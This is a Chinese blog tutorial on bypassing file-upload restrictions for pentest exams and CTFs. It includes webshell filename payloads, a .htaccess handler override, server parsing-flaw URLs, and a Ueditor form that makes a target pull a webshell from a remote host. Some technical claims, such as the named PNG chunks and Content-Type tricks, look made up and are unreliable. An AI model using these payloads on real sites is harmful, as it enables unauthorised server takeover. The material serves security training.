文件上传(包括编辑器上传)漏洞绕过总结(适用于pte考试、ctf及常规测试、修复任意文件上传漏洞可做参考)

文件上传绕过在实战中的应用

  • 文件上传
    • 前端校验绕过
    • 黑名单绕过
    • content-type绕过
    • 内容绕过
    • 截断绕过
    • windows系统下的文件上传
    • 中间件
      • apache解析漏洞
      • IIS解析漏洞
      • nginx解析漏洞
      • tomcat
    • 特殊上传
    • 编辑器上传漏洞

文件上传

文件上传漏洞是指攻击者通过对被攻击网站的文件上传功能进行利用,上传恶意文件来获得对用户资源和敏感数据的访问权限。攻击者通常会利用弱密码、错误配置等漏洞来上传恶意文件从而执行恶意代码。这些恶意代码可以是木马、病毒、恶意脚本、后门等,这些文件通常被隐藏在网站的文件目录中,从而可以让攻击者在未被发现的情况下长时间控制网站。

文件上传漏洞是一种非常危险的安全漏洞,因为攻击者可以利用该漏洞来直接入侵网站,并以此进行任何非法活动,如窃取用户数据、篡改网站内容等。因此,网站管理员需要定期对其网站进行安全测试和漏洞扫描,以确保系统的安全性。

前端校验绕过

在上传一句话时,前端提示:
文件上传(包括编辑器上传)漏洞绕过总结(适用于pte考试、ctf及常规测试、修复任意文件上传漏洞可做参考)_第1张图片
类似这种的一般都存在前端校验。
绕过:

  1. 抓包
    可以看到只能上传png格式:
    文件上传(包括编辑器上传)漏洞绕过总结(适用于pte考试、ctf及常规测试、修复任意文件上传漏洞可做参考)_第2张图片
    将一句话后缀改为png上传,进行抓包:
    文件上传(包括编辑器上传)漏洞绕过总结(适用于pte考试、ctf及常规测试、修复任意文件上传漏洞可做参考)_第3张图片
    即可上传成功。

jsp、aspx等类型同理即可。

  1. 前端f12修改

直接前端双击要修改的内容:
文件上传(包括编辑器上传)漏洞绕过总结(适用于pte考试、ctf及常规测试、修复任意文件上传漏洞可做参考)_第4张图片
修改后确认,即可直接上传php:
文件上传(包括编辑器上传)漏洞绕过总结(适用于pte考试、ctf及常规测试、修复任意文件上传漏洞可做参考)_第5张图片

黑名单绕过

黑名单绕过是一种文件上传漏洞的攻击方法,攻击者使用类似于修改文件类型、绕过文件格式限制等技术将恶意文件上传到网站中。黑名单是一种安全措施,可以限制上传文件的类型和大小,从而防止非法用户上传不必要的文件,例如,不允许上传.exe, .sql等文件格式。

然而,黑名单的限制是不完全的,攻击者可以利用文件重命名或使用网络传输协议的漏洞,绕过黑名单,上传恶意文件,从而控制目标计算机或窃取非法数据。

为了防止黑名单绕过攻击,网站管理员可以使用白名单,仅允许上传经过验证的文件类型,以及通过更新系统安全补丁来修补网络传输协议相关漏洞。此外,网站管理员还应该定期进行安全审计和漏洞扫描,以检测文件上传漏洞和其他可能的安全漏洞。

1. php上传时可解析后缀

PHP文件上传时,黑客可以使用各种文件类型的后缀名来绕过黑名单限制,从而上传PHP一句话木马文件。以下是一些常用的恶意文件扩展名来绕过黑名单的示例:

	1.phtml - (PHP Html模板扩展),这种扩展名非常常见,因为PHP环境支持使用.phtml文件扩展名的PHP页面。

	2.php5/.php4/.php3/.php2 - 通过使用其他以.php为结尾的数字可执行文件名字母,黑客可以轻松绕过文件上传时允许的特定文件类型。

	3.png/.gif/.jpg - 黑客可以将PHP源代码嵌入在图片文件中,然后通过将文件扩展名更改为允许上传的图片类型来上传它们。

	4.phpt/.pht/.wphp - PHP甚至允许其他扩展名(.phpt、.pht、.wphp),黑客可以使用这些扩展名来绕过文件上传时特定文件类型的限制。

	5.inc/.txt - 黑客可以将PHP代码保存在.inc或.txt文件中,然后使用.htaccess将这些文件的MIME类型设置为application/x-httpd-php,将它们伪装成有效的PHP文件。

注意,以上是常用的一些示例,但黑客可能会使用其他扩展名和方法来绕过黑名单。因此,建议上传函数增加正确的mime类型验证和其他的安全验证机制,以提高文件上传功能的安全性。

2. jsp上传时可解析后缀
在Java Web应用程序中,通常只有一些特定的文件扩展名可以在服务器端解析并执行,这些文件类型通常与Java相关。以下是一些可能会在Java Web应用程序中使用的文件扩展名:

	1.jsp: Java Server Pages 文件,包含 Java 代码和 HTML 格式标签,在服务器端动态生成 HTML 页面。

	2.jspx: 扩展名为 .jsp 的 XML 版本。使用 XML 格式标记而不是 HTML。

	3.java: Java 源代码文件,包含 Java 类和方法。Java 编译器将 .java 文件编译成 .class 文件。

	4.class: Java 字节代码文件,由 Java 编译器从 .java 源代码文件生成的文件。服务器使用 Java 虚拟机(JVM)执行这些文件。
	
	5.jar: Java Archive 文件,包含预编译的 Java 类和其他文件。
	
	6.war: Web Archive 文件,包含 Web 应用程序的所有内容,例如 HTML 页面,JSP 文件和 Servlet,以及其他相关文件和目录。

注意,这只是一些常见的Java Web应用程序文件扩展名列表。尽管这些文件类型通常是安全的,但攻击者仍可能通过操纵这些文件类型来实施攻击,因此您仍然需要确保您的Web应用程序可以检测和防止这些攻击。

在 Java Web 应用程序中,.jsp 和 .java 文件通常包含与应用程序的业务逻辑有关的 Java 代码。 .class 和.jar 文件包含的字节代码和类用于执行程序的实际工作。 .war文件则是将不同类型的文件打包到一起,以便可以轻松地部署和分发组成应用程序的不同文件和资源。

3. asp上传时可解析后缀
在 ASP (Active Server Pages) 网站中,以下是常见的可以被解析的后缀名(扩展名):

	1.asp - Active Server Pages文件,可以包含VBScript或JScript代码,由IIS解析执行,用于动态生成HTML页面。
	2.aspx - ASP.NET Web形式页面,可以包含C#或VB.NET代码,由ASP.NET运行时解析执行。
	3.ashx - ASP.NET HTTP处理程序,提供了一种一般化的方式来处理HTTP请求并生成HTTP响应;通常用于动态生成图片、文件下载、Web API部分等。
	4.ascx - ASP.NET用户控件文件,用于将多个ASP.NET页面间共用的代码封装成一个“控件”,提高代码重用率.
	5.cer - X.509证书文件。
	6.cdx - Microsoft Visual FoxPro封锁文件。
	7.idc - 包含有关Internet数据查询 (IDQ)的信息。
	8.ida - IIS Active Server Pages内容文件。
	9.idq - IIS Internet数据查询文件。
	10.inc - 包含其他文件的文件(通常把多个文件都组合在一个文件中共用)。
	11.shtml - HTML文件,可以嵌入SSSI(服务器端包含)指令,用于动态地添加服务器端信息到页面中。
	12.stm - Active Server Pages文件,已不再建议使用,与ASP相似,但比纯HTML页面更加灵活。

以上后缀均可在asp网站执行。。

在 ASP 网站中,.asp 和 .aspx 文件通常包含与应用程序的业务逻辑有关的代码,以及服务器端代码在响应用户在 Web页面上的交互时如何动态处理 HTML 页面。 .ascx文件包含了预定义的自定义控件,在应用程序中完成特定的任务,例如数据检索、数据可视化和动画效果等。

请注意,ASP 和 ASP.NET 现在已经被视为过时的技术,有安全漏洞,有一些不建议使用它们来开发新的Web应用程序。

一般情况下,aspx权限较asp高。

4、大小写绕过
攻击者可能会利用大小写区分不敏感的文件系统来绕过文件名过滤器。例如,攻击者可以使用.php或者.PHP的两种不同扩展名来隐藏脚本文件,绕过服务器对于文件类型的检查。

content-type绕过

content-type绕过,又叫content-type欺骗。Content-type绕过是指利用不同的技巧和方法绕过Web应用程序中的Content-Type过滤器,从而将特定类型的数据发送到Web应用程序,以获得攻击者所需的响应。以下是一些常见的内容类型绕过技巧:
1、添加特殊字符

攻击者可以在Content-Type值中添加一些特殊字符,如分号、空格等来绕过检测,例如:Content-Type: image/jpeg; php

这种方式利用分号分隔了jpg和php两种文件类型,诱骗服务器将上传的文件认为是jpg类型,但实际上它是一个php脚本文件。

2、修改文件后缀
通过修改文件的后缀名,来欺骗服务器的文件类型检测机制。例如,将上传的PHP文件的扩展名由".php"改为".jpg",然后在Content-Type头部声明文件类型为 image/jpeg。这样可以成功上传并执行的PHP文件,从而执行任意代码。
3、欺骗MIME类型
首先,攻击者需要通过Burp Suite抓取文件上传的请求。假设上传的文件名是"malware.php"。

然后,攻击者可以通过对请求头进行修改,更改Content-Type头的值为"image/jpeg"。可以使用Burp Suite或其他类似的代理工具来轻松实现这一点。这样做可以欺骗服务器,使它错误地认为上传的是JPEG格式的图片。

最后,攻击者重新发送修改后的请求,以上传恶意文件。由于服务器认为上传的是JPEG图片,所以文件将被放行,即使上传的实际是一个可执行的PHP脚本,也将被视为正常的图片文件。

值得注意的是,对于纯粹基于文件扩展名的文件类型检查,MIME type欺骗是常用的技巧之一。但是,一些开发人员也会使用MIME类型检查作为一种安全防范措施,这时候攻击者在上传文件时,需要更多的技术手段来绕过类型检查,以上传恶意文件。

4、空字节攻击
在Content-Type头以及文件后缀名后面增加空字节(%00),使服务器在处理文件类型时截断ContentType值,从而识别出不同的文件类型。

Content-Type: image/jpeg%00.php

例如,攻击者可以在Content-Type中插入双写的null字符 \00 \00 ,使得服务器只识别到第一个null字符前的字符,从而认为上传的是合法格式的文件。
5、Content-Type 注入
攻击者可以在文件名后面添加";Content-Type: image/jpeg"的后缀,使服务器对于这里的Content-Type进行解析,从而达到绕过限制验证的目的。
6、伪造请求头
攻击者可以通过自定义请求头来绕过content-type的校验,导致服务器无法判断上传文件的类型。比如使用curl工具,通过-H参数来添加自定义请求头,如:

curl -H "Content-Type: image/jpeg" https://www.example.com/upload.php --data-binary "@file.jpg"

7、Content-Disposition
攻击者通过伪造Content-Disposition,来欺骗服务器以为上传的是合法类型的文件,绕过黑名单验证。比如攻击者可以在Content-Disposition中设置文件名为xxx.php,让服务器误认为上传的是图片文件而不是恶意代码文件。

攻击者可以利用Content-Disposition HTTP头来绕过服务器端的文件类型检查。Content-Disposition是Web标准,用于指定如何呈现文件。攻击者可以使用Content-Disposition头,告诉服务器要将文件当成另一种类型来处理。例如,Content-Disposition: attachment; filename="malware.PDF"在这个例子中,服务器应该将上传的文件作为PDF文件处理,但实际上,这是一个恶意的PHP文件。

举例:假设目标网站允许用户上传图片,并通过以下方式上传了一个名为"avatar.jpg"的文件:

xml Content-Type: image/jpeg

攻击者可以通过修改Content-Type,从而绕过检测上传一个可执行的PHP文件:

xml Content-Type: image/jpeg; php

这样使用上述content-type,即便上传一个“avatar.jpg”文件,实际上这是一个php脚本文件,攻击者成功绕过了文件类型检测机制,该文件会被服务器识别为php文件并执行其中的恶意代码。

内容绕过

1、伪造文件类型
攻击者可能会通过修改文件头部信息,伪造文件类型并使其符合服务器限制的文件类型。因此,服务器不能仅仅依靠文件扩展名或 MIME 类型来进行限制。
例如上传图片处校验内容可以添加:GIF89a
文件上传(包括编辑器上传)漏洞绕过总结(适用于pte考试、ctf及常规测试、修复任意文件上传漏洞可做参考)_第6张图片
2、利用隐藏属性
攻击者还可以利用 PNG 和其他图像格式的隐藏属性,例如“zlIT”、“vrIo”和“txtC”等。这些代码会认为可能会绕过文件扩展名过滤器,从而实现上传恶意代码的目的。
3、利用 Exif / IPTC 元数据
攻击者还可以利用 Exif / IPTC 元数据,这些元数据是存在于 JPEG 和其他图像格式中的元数据,可以包含文本和其他字段。攻击者可以将恶意代码翻译成 Exif / IPTC 字段中的文本,并将其保存到图像中以绕过文件字符过滤器。
4、拆分文件
如果限制文件大小的方法不充分,攻击者可以通过在上传之前将大文件拆分成多个小文件并分别上传来绕过限制,在上传时,攻击者可能会将文件重新组合起来。在客户端使用 JavaScript 可以很容易地完成这个任务。

除了图片文件格式转换、利用隐藏属性和利用 Exif / IPTC 元数据之外,攻击者还可以使用其他一些绕过方式对文件上传限制进行绕过,例如:
1、嵌入格式化字符
攻击者可能在文件名中嵌入格式化字符(如 Unicode 字符、十六进制码),以绕过通常用于过滤特殊字符的服务器端脚本。攻击者还可能随意添加多个文件扩展名,从而创建看似安全的文件,并骗过文件类型检查器。
2、使用受信任的网络
攻击者可能会在受信任的网络(如 Dropbox、Google Drive 等)上存储恶意文件,然后通过 Web Shell 或其他手段将该文件传输到目标服务器上。这种方法可用于绕过上传限制和防火墙阻止。
3、压缩文件
攻击者可以将恶意文件压缩成 ZIP、GZ 或其他格式的文件,然后上传到目标服务器。这种方法有助于绕过文件类型和大小限制,因为通常压缩文件会更小并且更难检测。

截断绕过

1、文件名后缀截断
攻击者可能会将文件名截断到一定程度,以使其看起来更像一个允许上传的文件类型。例如,攻击者可以使用类似.php.1234这样的命名方式,将上传的 PHP 脚本命名为合法的图像文件(.jpg或.png)。这样一来,服务器可能会忽略脚本文件名的.php后缀。

攻击者可能利用空字节( \0 )来截断文件名,以获得文件上传权限。空字节在许多编程语言中表示字符串的结束,因此它可以被用来绕过文件名过滤器。例如,攻击者可能会提交类似于"example.jpeg\0php"的文件名。

2、双扩展名
攻击者可能会使用双扩展名(如.phtml.jpg)将一个可执行的脚本文件绕过服务器的文件类型检查器,使它看起来像一个jpg格式的文件。这种方法可以欺骗服务器认为这是一个可信任的文件,并且允许上传。
或者

1.php;jpg或者1.php%00.jpg或者1.php/00.jpg

3、目录截断
攻击者可能会在文件名中加入控制字符,如"../“,对文件名中的目录进行截断。例如,攻击者可以将PHP脚本命名为”../../../../../etc/password",并上传到服务器上,以获取/etc/passwd文件的信息,也可以利用../upload/1.php方式。
或者
GET型:../upload/1.php%00
POST型:../upload/1.php后进行16进制hex修改为00

4、无限制文件长度
攻击者可能会故意创建一个包含大量空字节的文件名,从而绕过服务器对于文件名长度的限制。这样一来,攻击者就可以上传他们想要的任何类型的恶意文件,而不会被服务器的文件名长度限制器所拒绝。

windows系统下的文件上传

上传shell.php,抓包改为

shell.php.

后缀加.

shell.php::$DATA

shell.php:1.jpg

shell.php::$DATA…….

中间件

apache解析漏洞

利用apache解析文件从右往左解析
1、上传shell.php.xxx.abc即可解析为php文件
2、上传.htaccess文件
内容:

<FilesMatch "filename">
SetHandler application/x-httpd-php
FilesMatch>

filename为想要上传的文件后缀名,例如:png
然后再上传shell.png,即可解析为php。

IIS解析漏洞

IIS6.x版本:
1、会将*.asp;.jpg解析为asp文件执行

原理:服务器默认不解析;后边的字符

2、会将.asp目录下的文件解析为asp文件
例如上传时可以创建文件夹或者可以利用文件路径../upload/1.asp/shell.png即可将shell.png解析为asp。
除此之外,还默认会将扩展名为.asa,.cdx,.cer解析为asp(IIS5.x中也适用)
IIS7.版本
在Fast-CGI运行模式下,在上传图片1.png加/.php会将1.png解析为php
例如:
上传图片1.png,路径为:http://hack.com/upload/1.png
工具连接时地址为:http://hack.com/upload/1.png/.php即可。

若为404,则证明关闭了Fast-CGI

nginx解析漏洞

上传图片1.png,路径为:http://hack.com/upload/1.png
工具连接时地址为:http://hack.com/upload/1.png/xx.php即可解析。

tomcat

需要进入tomcat管理配置界面(一般弱口令)
shell.jsp压缩,修改后缀,上传成功,访问shell/shell.jsp即可。

shell.jsp-->shell.zip-->shell.war

特殊上传

1、利用时间差,执行木文件:

假如上传shell.php会在一定时间内会被查杀,可以利用bp不断发包,然后刷新界面,可以成功执行shell.php。

2、二次渲染图片

上传图片服务器会进行二次渲染,会改变图片内容,可以利用winhex对比前后图片,将恶意代理插入未改变的代码里,在不破坏图片的情况下可以绕过该限制

编辑器上传漏洞

根据编辑器版本型号可以上传。一般f12可以查看到编辑器版本型号等。

常用编辑器:
FCKeditor

EWEbeditor

CKFinder

UEDITOR

DotNet TextBox

Cute Editor

1、Fckeditor编辑器
常见上传目录:

FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html

FCK编辑器漏洞 “.” 变 “_” 绕过方法
在高版本fck中,直接上传或抓包修改文件名“a.asp;.jpg”,都会将前面的点变成下划线,也就是变成“a_asp;.jpg”。需要创建1.asp文件夹,然后在1.asp文件夹下上传图片即可解析为asp文件。类似于前文的iis解析漏洞。
2、eWebEditor编辑器
1)后台(弱口令或者未授权)

eWeb编辑器需要登录后台,其默认数据库地址是:ewebeditor/db/ewebeditor.mdb
2)eweb遍历漏洞

利用该漏洞遍历文件目录、查看整个网站结构及敏感信息

ewebeditor/admin_uploadfile.asp?id=14&dir=./

3)修改样式
在图片类型中添加.asa后缀,编辑器会解析为asp文件
打开“工具栏”点击按钮设置,添加插入图片的按钮,保存,上传asa文件即可。
3、Ueditor编辑器
访问http://ip:port/net/controller.ashx 控制器文件。
在这里插入图片描述
出现该页面表示漏洞存在。
制作asp图片,放在远程下载服务器上。
制作一个上传文件的表单html文件:

<form action="http://xxxxx/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded"  method="POST">
  <p>shell addr: <input type="text" name="source[]" />p >
  <input type="submit" value="Submit" />
form>

http://xxxxx/为被攻击网站

打开html,在输入框填入远程服务器木文件地址
文件上传(包括编辑器上传)漏洞绕过总结(适用于pte考试、ctf及常规测试、修复任意文件上传漏洞可做参考)_第7张图片
提交即可上传成功:
在这里插入图片描述
然后工具连接即可。

其他编辑器Google就可以找到相关测试方法,就不一一演示了。

仅供参考,具体方式具体对待

严禁在未授权的网站测试,任何违法操作均与本记录无关。

你可能感兴趣的:(文件上传,安全,网络,渗透测试)